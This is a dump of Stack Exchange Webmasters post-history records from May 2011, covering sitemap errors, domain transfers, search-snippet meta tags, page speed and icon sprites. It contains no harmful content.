  <row Id="32913" PostHistoryTypeId="17" PostId="14116" RevisionGUID="9637c3d4-6cd0-42e7-90c3-2eb476472a6c" CreationDate="2011-05-20T08:25:07.177" UserId="-1" Comment="from http://stackoverflow.com/questions/5646523/domain-transfers-handling-the-downtime" Text="" />
  <row Id="32914" PostHistoryTypeId="2" PostId="14117" RevisionGUID="f364a6c8-0f42-4184-ad76-51c6d727967b" CreationDate="2011-05-20T08:33:59.083" UserId="7198" Text="The &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html&quot;&gt;official word from Google on page load speed&lt;/a&gt; is that it makes little difference to your rankings:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...we still put much more weight on factors like relevance, topicality, reputation, value-add, etc. — all the factors that you probably think about all the time. Compared to those signals, site speed will carry much less weight.&quot;&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;&gt; &quot;...fewer than 1% of search queries will change as a result of incorporating site speed into our ranking...&quot;&#xD;&#xA;&#xD;&#xA;As such, I suggest you **optimise for people first and Google second.** Removing Facebook buttons diminishes the user experience for people wanting to share your content and may actually harm your rankings, because people are less likely to share, blog, and link back to you. It seems counterintuitive to remove them in the hope of boosting your rankings.&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;**Use Google's speed tools**  &#xD;&#xA;It's still worth running your site through Google's &lt;a href=&quot;http://pagespeed.googlelabs.com/&quot;&gt;Page Speed Online&lt;/a&gt; tool to see where improvements could be made, if only for the benefit of your users. Chances are there are other things you can do beyond stripping the Facebook button that might improve page load speed.&#xD;&#xA;&#xD;&#xA;Out of interest, I ran a page that uses Facebook's 'Like' button through the Page Speed tool (&lt;a href=&quot;http://pagespeed.googlelabs.com/#url=http_3A_2F_2Fwww.guardian.co.uk_2Fworld_2F2011_2Fmay_2F19_2Fus-officials-prepare-zombie-apocalypse&amp;mobile=false&quot;&gt;like this&lt;/a&gt;), and got warnings mentioning that the API requests to Facebook's server have a short caching time of 2 minutes; Google recommends extending it to one week to take advantage of browser caching. Since you can't control the caching time, though, it's not worth worrying about.&#xD;&#xA;&#xD;&#xA;In short, I'd put the buttons back or use a static link instead, as documented in &lt;a href=&quot;http://webmasters.stackexchange.com/questions/13657/share-buttons-vs-sharer-urls/13664#13664&quot;&gt;this answer.&lt;/a&gt;" />
  <row Id="32915" PostHistoryTypeId="6" PostId="9376" RevisionGUID="d19fd882-9794-43bd-9405-6b61a6f86260" CreationDate="2011-05-20T08:43:10.710" UserId="4502" Comment="edited tags" Text="&lt;php&gt;&lt;ecommerce&gt;&lt;looking-for-a-script&gt;" />
  <row Id="32917" PostHistoryTypeId="2" PostId="14118" RevisionGUID="ecae0654-5b3c-4926-9a47-08666b3d667f" CreationDate="2011-05-20T08:55:30.550" UserId="1643" Text="You can add Javascript to the page head by using an `addJs` action. If you search the Magento site for `addjs head` you can see examples of how people have done it." />
  <row Id="32918" PostHistoryTypeId="2" PostId="14119" RevisionGUID="dae4b732-e0b7-47bd-a428-21f5835064b3" CreationDate="2011-05-20T09:01:44.420" UserId="7198" Text="There should be no downtime when transferring a domain between registrars.&#xD;&#xA;&#xD;&#xA;The nameservers you set at the old registrar should be the same when the transfer completes to your new registrar. (If in doubt, ask your new registrar to confirm that they don't clear nameservers or domain records when transferring a domain in. They have no reason to.)&#xD;&#xA;&#xD;&#xA;If you're transferring hosting as well as the domain, that's when you need to be careful:&#xD;&#xA;&#xD;&#xA;1. Set up a new hosting account without transferring the domain (specify 'I have a domain' instead of 'I want to transfer my domain' to guard against hosts who might clear the nameservers).&#xD;&#xA;2. Copy files from the old server to the new server.&#xD;&#xA;3. Import database tables on the new server and update any configuration files on the that server.&#xD;&#xA;4. Create email accounts with identical usernames and passwords at the new web host, then backup and transfer old mail. (Do this as close to the nameserver switch as you can to reduce lost mail.)&#xD;&#xA;5. Transfer the domain and point it to the new nameservers once the transfer is complete.&#xD;&#xA;&#xD;&#xA;The nameservers will update, usually within 48 hours (but often faster), and the new server will already be provisioned with the same data that was on the old one. Your clients shouldn't notice the change. In fact, it can often be hard to tell that you're serving files from the new account, so I sometimes add a small HTML comment in the header of the index page on the new server until the transfer's complete." />
  <row Id="32919" PostHistoryTypeId="2" PostId="14120" RevisionGUID="fb191ad0-dca2-4c3e-b685-7c979b992801" CreationDate="2011-05-20T09:08:58.563" UserId="6959" Text="Consider getting your logo (slogan) created for you, as discussed in this [PW question][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2936/design-crowdsourcing-or-hire-a-pro" />
  <row Id="32920" PostHistoryTypeId="16" PostId="14120" RevisionGUID="114a419a-66fe-46ef-b52b-2e69d34a9716" CreationDate="2011-05-20T09:08:58.563" UserId="6959" />
  <row Id="32921" PostHistoryTypeId="25" PostId="14108" RevisionGUID="e01688f8-5c2b-4501-afd5-8e4ec18e7f6f" CreationDate="2011-05-20T09:12:25.440" Comment="http://twitter.com/#!/StackWebmasters/status/71503532674646016" />
  <row Id="32922" PostHistoryTypeId="17" PostId="14122" RevisionGUID="860cac6b-408d-427e-af7a-54d88634f984" CreationDate="2011-05-20T09:23:09.117" UserId="-1" Comment="from http://serverfault.com/questions/271865/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page/271867#271867" Text="" />
  <row Id="32923" PostHistoryTypeId="2" PostId="14122" RevisionGUID="98139a10-4a9b-4338-afca-1c50c24b9bfa" CreationDate="2011-05-20T09:22:30.973" UserId="138" Text="Because of the `content-type` header that it's spitting out. Inspect it with your favourite tool (Firebug, etc) and see what it's sending." />
  <row Id="32924" PostHistoryTypeId="2" PostId="14121" RevisionGUID="8bdbf531-8a37-410e-b18f-488d3690542f" CreationDate="2011-05-20T09:20:05.020" UserId="7474" Text="We're running a lot of sites and we've started to get a lot of these errors in Webmaster Tools:&#xD;&#xA;&gt;Sitemap is HTML  &#xD;&#xA;Your Sitemap appears to be an HTML page. Please use a supported sitemap format instead.&#xD;&#xA;&#xD;&#xA;One of the problematic sitemaps:&#xD;&#xA;    &#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file1.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file2.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file3.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file4.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;##Why would GWTs think this is anything but XML?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Server: IIS" />
  <row Id="32925" PostHistoryTypeId="1" PostId="14121" RevisionGUID="8bdbf531-8a37-410e-b18f-488d3690542f" CreationDate="2011-05-20T09:20:05.020" UserId="7474" Text="Google Webmaster Tools says my XML sitemap &quot;appears to be an HTML page&quot;" />
  <row Id="32926" PostHistoryTypeId="3" PostId="14121" RevisionGUID="8bdbf531-8a37-410e-b18f-488d3690542f" CreationDate="2011-05-20T09:20:05.020" UserId="7474" Text="&lt;iis&gt;&lt;html&gt;&lt;xml&gt;&lt;sitemap&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="32927" PostHistoryTypeId="17" PostId="14121" RevisionGUID="049bd6c9-4612-413a-b7be-95fe081c50b9" CreationDate="2011-05-20T09:23:09.117" UserId="-1" Comment="from http://serverfault.com/questions/271865/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page" Text="" />
  <row Id="32930" PostHistoryTypeId="5" PostId="14121" RevisionGUID="2820258a-b514-4958-a4e1-147553e1e6f6" CreationDate="2011-05-20T09:35:12.463" UserId="7474" Comment="Added validation line" Text="We're running a lot of sites and we've started to get a lot of these errors in Webmaster Tools:&#xD;&#xA;&gt;Sitemap is HTML  &#xD;&#xA;Your Sitemap appears to be an HTML page. Please use a supported sitemap format instead.&#xD;&#xA;&#xD;&#xA;One of the problematic sitemaps:&#xD;&#xA;    &#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file1.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file2.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file3.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;        &lt;url&gt; &#xD;&#xA;            &lt;loc&gt;http://www.same_domain.co.uk/folder/file4.shtml&lt;/loc&gt; &#xD;&#xA;            &lt;lastmod&gt;2011-05-11&lt;/lastmod&gt; &#xD;&#xA;            &lt;changefreq&gt;weekly&lt;/changefreq&gt; &#xD;&#xA;            &lt;priority&gt;0.5&lt;/priority&gt; &#xD;&#xA;        &lt;/url&gt; &#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;##Why would GWTs think this is anything but XML?&#xD;&#xA;&#xD;&#xA;(Server: IIS)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;&gt;&quot;This document was successfully checked as well-formed XML!&quot; -W3C Validator." />
  <row Id="32931" PostHistoryTypeId="6" PostId="14121" RevisionGUID="2820258a-b514-4958-a4e1-147553e1e6f6" CreationDate="2011-05-20T09:35:12.463" UserId="7474" Comment="Added validation line" Text="&lt;html&gt;&lt;google-webmaster-tools&gt;&lt;sitemap&gt;&lt;iis&gt;&lt;xml&gt;" />
  <row Id="32932" PostHistoryTypeId="2" PostId="14124" RevisionGUID="18a5f1b0-2691-4773-a349-7e0e2a210131" CreationDate="2011-05-20T09:37:15.490" UserId="1643" Text="You could extend the header to include the schema stuff:&#xD;&#xA;&#xD;&#xA;     &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xD;&#xA;         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;        xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&#xD;&#xA;&#xD;&#xA;and then validate online: http://www.xmlvalidation.com/&#xD;&#xA;&#xD;&#xA;If it passes that it must be Google's problem." />
  <row Id="32933" PostHistoryTypeId="5" PostId="14124" RevisionGUID="07292c36-44ba-4466-ad3d-bb357531a31a" CreationDate="2011-05-20T09:54:10.803" UserId="1643" Comment="fixed header" Text="You could extend the header to include the schema stuff:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xD;&#xA;    xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;    xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&#xD;&#xA;    http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&#xD;&#xA;&#xD;&#xA;and then validate online: http://www.xmlvalidation.com/&#xD;&#xA;&#xD;&#xA;If it passes that it must be Google's problem.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32934" PostHistoryTypeId="2" PostId="14125" RevisionGUID="9f839430-7b2b-4e6d-9ca3-625f08305227" CreationDate="2011-05-20T10:21:28.463" UserId="4502" Text="There's no such thing as an anonymous Facebook profile, and fake/falsified profiles are against their TOS and will be shut down. (If/Once caught, of course.) Zuckerberg–and hence Facebook to a certain extent–is squarely *against* on-line anonymity. I don't see any way their system would facilitate what you're trying. That's before we even get to the fact that it'll almost certainly *rapidly* get flagged as a spam source by recipients who suddenly start getting unwanted links from some unknown source. " />
  <row Id="32935" PostHistoryTypeId="17" PostId="14127" RevisionGUID="848ae6fc-925b-4607-be4e-0cddd2de5890" CreationDate="2011-05-20T11:29:26.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6066879/how-to-make-search-engines-display-only-the-title-of-a-web-page-on-their-search-r/6066922#6066922" Text="" />
  <row Id="32936" PostHistoryTypeId="17" PostId="14128" RevisionGUID="a75d775d-b235-4421-bc3e-1a3fa749b81d" CreationDate="2011-05-20T11:29:26.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6066879/how-to-make-search-engines-display-only-the-title-of-a-web-page-on-their-search-r/6068556#6068556" Text="" />
  <row Id="32937" PostHistoryTypeId="2" PostId="14127" RevisionGUID="9616e0c3-33b9-4cc8-b881-ba5c10d7177f" CreationDate="2011-05-20T02:36:55.513" UserDisplayName="Brandon Boone" Text="Create a page with just a title and no content. &#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&lt;head&gt;&lt;title&gt;Google Content&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Seriously, I don't think you can control this. Unless all your content is AJAX-ed in, but then your content won't show up in searches since Google isn't AJAX friendly. &#xD;&#xA;&#xD;&#xA;**EDIT:** &#xD;&#xA;You can also try to use the META tags to control this: &#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;&quot;/&gt;" />
  <row Id="32938" PostHistoryTypeId="2" PostId="14128" RevisionGUID="16385f28-e07f-4625-98f5-afb0c7b1bd70" CreationDate="2011-05-20T07:03:03.260" UserDisplayName="albert" Text="&lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot; /&gt;&#xD;&#xA;content=&quot;nosnippet&quot; tells search engines to not include a description of the page in search results as well as prevents caching of the page." />
  <row Id="32939" PostHistoryTypeId="2" PostId="14126" RevisionGUID="ce4d47c5-4a6b-4086-b2f8-6f0b9197b8ee" CreationDate="2011-05-20T02:29:37.257" UserDisplayName="js_" Text="I want to make search engines display only the title of my web page on their search results.&lt;br&gt;&#xD;&#xA;And I don't want to show any descriptions and any texts of my page on the search results.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;For example, this site is displayed like:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;Stack Overflow&#xD;&#xA;A language-independent collaboratively edited question and answer site for programmers.&#xD;&#xA;stackoverflow.com/ - Cached - Similar&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;In this case, I don't want to make search engines display the text `A language-independent collaboratively edited question and answer site for programmers.`.&lt;br&gt;&#xD;&#xA;And I want to make them display like:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;Stack Overflow&#xD;&#xA;stackoverflow.com/ - Cached - Similar&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;br&gt;" />
  <row Id="32940" PostHistoryTypeId="1" PostId="14126" RevisionGUID="ce4d47c5-4a6b-4086-b2f8-6f0b9197b8ee" CreationDate="2011-05-20T02:29:37.257" UserDisplayName="js_" Text="How to make search engines display only the title of a web page on their search results?" />
  <row Id="32941" PostHistoryTypeId="3" PostId="14126" RevisionGUID="ce4d47c5-4a6b-4086-b2f8-6f0b9197b8ee" CreationDate="2011-05-20T02:29:37.257" UserDisplayName="js_" Text="&lt;html&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="32942" PostHistoryTypeId="17" PostId="14126" RevisionGUID="635bfe30-6f39-4389-b675-f06cfbccc7f0" CreationDate="2011-05-20T11:29:26.277" UserId="-1" Comment="from http://stackoverflow.com/questions/6066879/how-to-make-search-engines-display-only-the-title-of-a-web-page-on-their-search-r" Text="" />
  <row Id="32943" PostHistoryTypeId="2" PostId="14129" RevisionGUID="0a934fb2-31ae-4dc2-9c1a-1a48e91d69bf" CreationDate="2011-05-20T11:32:37.220" UserId="693" Text="I am working on a small project where I need some of the basic icons: edit, favorite, delete. You know them.&#xD;&#xA;&#xD;&#xA;Now i can download them all seperate, and put them together in a sprite, but I was wondering if there are ready to download sprites which I can use.&#xD;&#xA;&#xD;&#xA;Now I am working on an accounting app, so it would be nice if the icons were not too childish. A little but of fancy business type icons.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="32944" PostHistoryTypeId="1" PostId="14129" RevisionGUID="0a934fb2-31ae-4dc2-9c1a-1a48e91d69bf" CreationDate="2011-05-20T11:32:37.220" UserId="693" Text="Good free CSS Sprite for icons" />
  <row Id="32945" PostHistoryTypeId="3" PostId="14129" RevisionGUID="0a934fb2-31ae-4dc2-9c1a-1a48e91d69bf" CreationDate="2011-05-20T11:32:37.220" UserId="693" Text="&lt;css&gt;&lt;website-design&gt;&lt;sprite&gt;" />
  <row Id="32946" PostHistoryTypeId="2" PostId="14130" RevisionGUID="535319fc-0dcf-40f2-8e8c-be5a86ae95f0" CreationDate="2011-05-20T11:41:06.333" UserId="7474" Text="When I alter and re-submit a sitemap does GWTs immediately re-evaluate it or do I have to wait 'til GoogleBot crawls our site again?  &#xD;&#xA;&#xD;&#xA;I just re-submitted a problematic sitemap and it now displays the green tick next to it but does this really mean it is valid? I need to know is [the problem](http://webmasters.stackexchange.com/questions/14121/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page/) really solved." />
  <row Id="32947" PostHistoryTypeId="1" PostId="14130" RevisionGUID="535319fc-0dcf-40f2-8e8c-be5a86ae95f0" CreationDate="2011-05-20T11:41:06.333" UserId="7474" Text="When does Google Webmaster Tools re-evaluate re-submitted sitemaps?" />
  <row Id="32948" PostHistoryTypeId="3" PostId="14130" RevisionGUID="535319fc-0dcf-40f2-8e8c-be5a86ae95f0" CreationDate="2011-05-20T11:41:06.333" UserId="7474" Text="&lt;google-webmaster-tools&gt;&lt;sitemap&gt;" />
  <row Id="32949" PostHistoryTypeId="2" PostId="14131" RevisionGUID="65222e4e-a49c-4f28-9174-66ca10f3d909" CreationDate="2011-05-20T11:41:09.410" UserId="7680" Text="The [famfamfam silk icons][1] might work well for you, there are 1000 to choose from. You'll have to combine them into your own sprite though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.famfamfam.com/archive/silk-icons-thats-your-lot/" />
  <row Id="32950" PostHistoryTypeId="2" PostId="14132" RevisionGUID="9204a4dd-6618-45f5-81e4-ec65b4640f2e" CreationDate="2011-05-20T11:51:50.433" UserId="7674" Text="I'd suggest you use [this tool][1] to create your sitemap if you don't already. Download the uncompressed xml one and put it at the root of your domain.&#xD;&#xA;&#xD;&#xA;Now, when it comes to re-evaluating sitemaps, GWT does it almost instantaneously when you re-submit it, but for the changes to actually be taken into account by the internet as a whole, you'll have to wait till Google recrawls your site, yes.&#xD;&#xA;&#xD;&#xA;Anybody feel free to correct me if I'm wrong, but I think that's how it goes ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xml-sitemaps.com/" />
  <row Id="32951" PostHistoryTypeId="5" PostId="14128" RevisionGUID="bf234f8f-04af-4eba-ae83-428707811ab8" CreationDate="2011-05-20T12:01:30.083" UserId="4502" Comment="Fixed code formatting; removed caching comment as I see no evidence of that(that's its own separate meta tag value) plus it's not relevant to the actual question anyway." Text="`&lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot; /&gt;` tells search engines to not include a snippet in search results." />
  <row Id="32952" PostHistoryTypeId="24" PostId="14128" RevisionGUID="bf234f8f-04af-4eba-ae83-428707811ab8" CreationDate="2011-05-20T12:01:30.083" Comment="Proposed by 4502 approved by 1253 edit id of 316" />
  <row Id="32953" PostHistoryTypeId="5" PostId="12519" RevisionGUID="68632270-a651-4825-97f2-2289fb865379" CreationDate="2011-05-20T12:01:31.143" UserId="1643" Comment="Filled in long description." Text="They are usually based on databases which hold the text content of the site. They also use templates so that pages share a common layout. The site navigation is derived from the database too, so that if a new page is added in a given section then links to it appear on all the places where it should.&#xD;&#xA;&#xD;&#xA;Some CMSs will have support for workflow, so that users may not be permitted to publish pages, but only create them for other users to approve and publish." />
  <row Id="32954" PostHistoryTypeId="24" PostId="12519" RevisionGUID="68632270-a651-4825-97f2-2289fb865379" CreationDate="2011-05-20T12:01:31.143" Comment="Proposed by 1643 approved by 1253 edit id of 315" />
  <row Id="32955" PostHistoryTypeId="6" PostId="14126" RevisionGUID="cfdba2ba-c7ea-4c11-8c3e-21b336e75160" CreationDate="2011-05-20T12:03:10.113" UserId="1253" Comment="modified tags" Text="&lt;search-engines&gt;" />
  <row Id="32956" PostHistoryTypeId="5" PostId="14113" RevisionGUID="90f8c91f-1de5-4b12-a94c-4b55aa4b65a0" CreationDate="2011-05-20T12:04:31.483" UserId="1253" Comment="modified tags, minor text edits" Text="I want to allow users to share memes anonymously with their friends. &#xD;&#xA;&#xD;&#xA;I am trying to figure out how this can be done through Facebook: are there any Facebook APIs which will allow users to share through a different profile, or anonymously altogether? e.g. I create a 'anonymous' profile, the user simply inputs their meme and selects all the friends they want to share with, and all that the friends will see is that a message has been sent by 'anonymous'. Is this possible? Alternative solutions?&#xD;&#xA;" />
  <row Id="32957" PostHistoryTypeId="6" PostId="14113" RevisionGUID="90f8c91f-1de5-4b12-a94c-4b55aa4b65a0" CreationDate="2011-05-20T12:04:31.483" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;facebook&gt;" />
  <row Id="32958" PostHistoryTypeId="5" PostId="14130" RevisionGUID="a2dc3c92-0caa-49de-9551-31000706812b" CreationDate="2011-05-20T12:09:39.087" UserId="7474" Comment="added possible answer. Need confirmation" Text="When I alter and re-submit a sitemap does GWTs immediately re-evaluate it or do I have to wait 'til GoogleBot crawls our site again?  &#xD;&#xA;&#xD;&#xA;I just re-submitted a problematic sitemap and it now displays the green tick next to it but does this really mean it is valid? I need to know is [the problem](http://webmasters.stackexchange.com/questions/14121/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page/) really solved.&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;[Google Webmaster Central says](http://www.google.com/support/webmasters/bin/answer.py?answer=35738):&#xD;&#xA;&gt;&quot;Once you've reviewed your Sitemap and made any changes, save it and then resubmit it. It can take up to a day for Google to process the resubmitted Sitemap, so the warning status may continue to display until then.&quot;&#xD;&#xA;&#xD;&#xA;I would use this to answer the question, **but** does this mean that my problem is gone? (_Because the icon changes from a red X (error) to a green tick (valid)_).  &#xD;&#xA;**I'm not so sure.**  &#xD;&#xA;I simply resubmitted one problematic sitemap **without any changes** and the icon changed." />
  <row Id="32959" PostHistoryTypeId="25" PostId="14121" RevisionGUID="af0f0ecb-8f7d-471a-857f-37ca2f15d571" CreationDate="2011-05-20T12:12:25.103" Comment="http://twitter.com/#!/StackWebmasters/status/71548829765349376" />
  <row Id="32960" PostHistoryTypeId="4" PostId="14113" RevisionGUID="a05fbba2-2f42-478c-90bc-669512543fe2" CreationDate="2011-05-20T12:13:18.217" UserId="1253" Comment="edited title" Text="Allow user to share on Facebook anonymously: options?" />
  <row Id="32963" PostHistoryTypeId="5" PostId="14130" RevisionGUID="fa88f89b-6008-4238-8f3c-5fb6087c0498" CreationDate="2011-05-20T12:15:01.780" UserId="7474" Comment="inserted &quot;actually&quot; to emphasis point of question" Text="When I alter and re-submit a sitemap does GWTs immediately re-evaluate it or do I have to wait 'til GoogleBot crawls our site again?  &#xD;&#xA;&#xD;&#xA;I just re-submitted a problematic sitemap and it now displays the green tick next to it but does this really mean it is valid? I need to know is [the problem](http://webmasters.stackexchange.com/questions/14121/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page/) really solved.&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;[Google Webmaster Central says](http://www.google.com/support/webmasters/bin/answer.py?answer=35738):&#xD;&#xA;&gt;&quot;Once you've reviewed your Sitemap and made any changes, save it and then resubmit it. It can take up to a day for Google to process the resubmitted Sitemap, so the warning status may continue to display until then.&quot;&#xD;&#xA;&#xD;&#xA;I would use this to answer the question, **but** does this actually mean that my problem is gone? (_Because the icon changes from a red X (error) to a green tick (valid)_).  &#xD;&#xA;**I'm not so sure.**  &#xD;&#xA;I simply resubmitted one problematic sitemap **without any changes** and the icon changed." />
  <row Id="32965" PostHistoryTypeId="2" PostId="14133" RevisionGUID="8dd9a759-9887-4228-8dd8-38454fe48669" CreationDate="2011-05-20T12:21:30.153" UserId="205" Text="The Tango Desktop Project is an open-source project that produces some great icons.  They even have [just such a image][1] as you describe.  You can find it by scrolling down on their [icon library page][2].&#xD;&#xA;&#xD;&#xA;The actual icons are (per the project's homepage) released to the Public Domain, so there will be no copyright issues whatsoever in using them.&#xD;&#xA;&#xD;&#xA;  [1]: http://tango.freedesktop.org/images/2/20/Tango-feet.png&#xD;&#xA;  [2]: http://tango.freedesktop.org/Tango_Icon_Library" />
  <row Id="32966" PostHistoryTypeId="5" PostId="14130" RevisionGUID="c1b199bf-75f3-4acd-bbf4-f04257acc839" CreationDate="2011-05-20T12:27:08.010" UserId="7474" Comment="added download date details" Text="When I alter and re-submit a sitemap does GWTs immediately re-evaluate it or do I have to wait 'til GoogleBot crawls our site again?  &#xD;&#xA;&#xD;&#xA;I just re-submitted a problematic sitemap and it now displays the green tick next to it but does this really mean it is valid? I need to know is [the problem](http://webmasters.stackexchange.com/questions/14121/google-webmaster-tools-says-my-xml-sitemap-appears-to-be-an-html-page/) really solved.&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;[Google Webmaster Central says](http://www.google.com/support/webmasters/bin/answer.py?answer=35738):&#xD;&#xA;&gt;&quot;Once you've reviewed your Sitemap and made any changes, save it and then resubmit it. It can take up to a day for Google to process the resubmitted Sitemap, so the warning status may continue to display until then.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would use this to answer the question, **but** does this actually mean that my problem is gone? (_Because the icon changes from a red X (error) to a green tick (valid)_).  &#xD;&#xA;**I'm not so sure.**  &#xD;&#xA;I simply resubmitted one problematic sitemap **without any changes** and the icon changed.&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;On the details page of a problematic sitemap I re-submitted, the Downloaded date is today's that. **Does this guarantee the error was fixed?** Because the Downloaded date is today for both sitemaps I re-submitted (see edit #1)" />
  <row Id="32967" PostHistoryTypeId="2" PostId="14134" RevisionGUID="14486a4f-ccc3-45fb-8495-a3930ff5d4d2" CreationDate="2011-05-20T12:28:56.703" UserId="7683" Text="I'm looing for Ad Networks (CPM / CPC) that allows Social Networks. Do You know any such Ad Networks? Any suggestions will be highly appreciated!&#xD;&#xA;&#xD;&#xA;*with low entry requirements - 50K pageviews/month" />
  <row Id="32968" PostHistoryTypeId="1" PostId="14134" RevisionGUID="14486a4f-ccc3-45fb-8495-a3930ff5d4d2" CreationDate="2011-05-20T12:28:56.703" UserId="7683" Text="Ad Networks that allow Social Networks?" />
  <row Id="32969" PostHistoryTypeId="3" PostId="14134" RevisionGUID="14486a4f-ccc3-45fb-8495-a3930ff5d4d2" CreationDate="2011-05-20T12:28:56.703" UserId="7683" Text="&lt;advertising&gt;" />
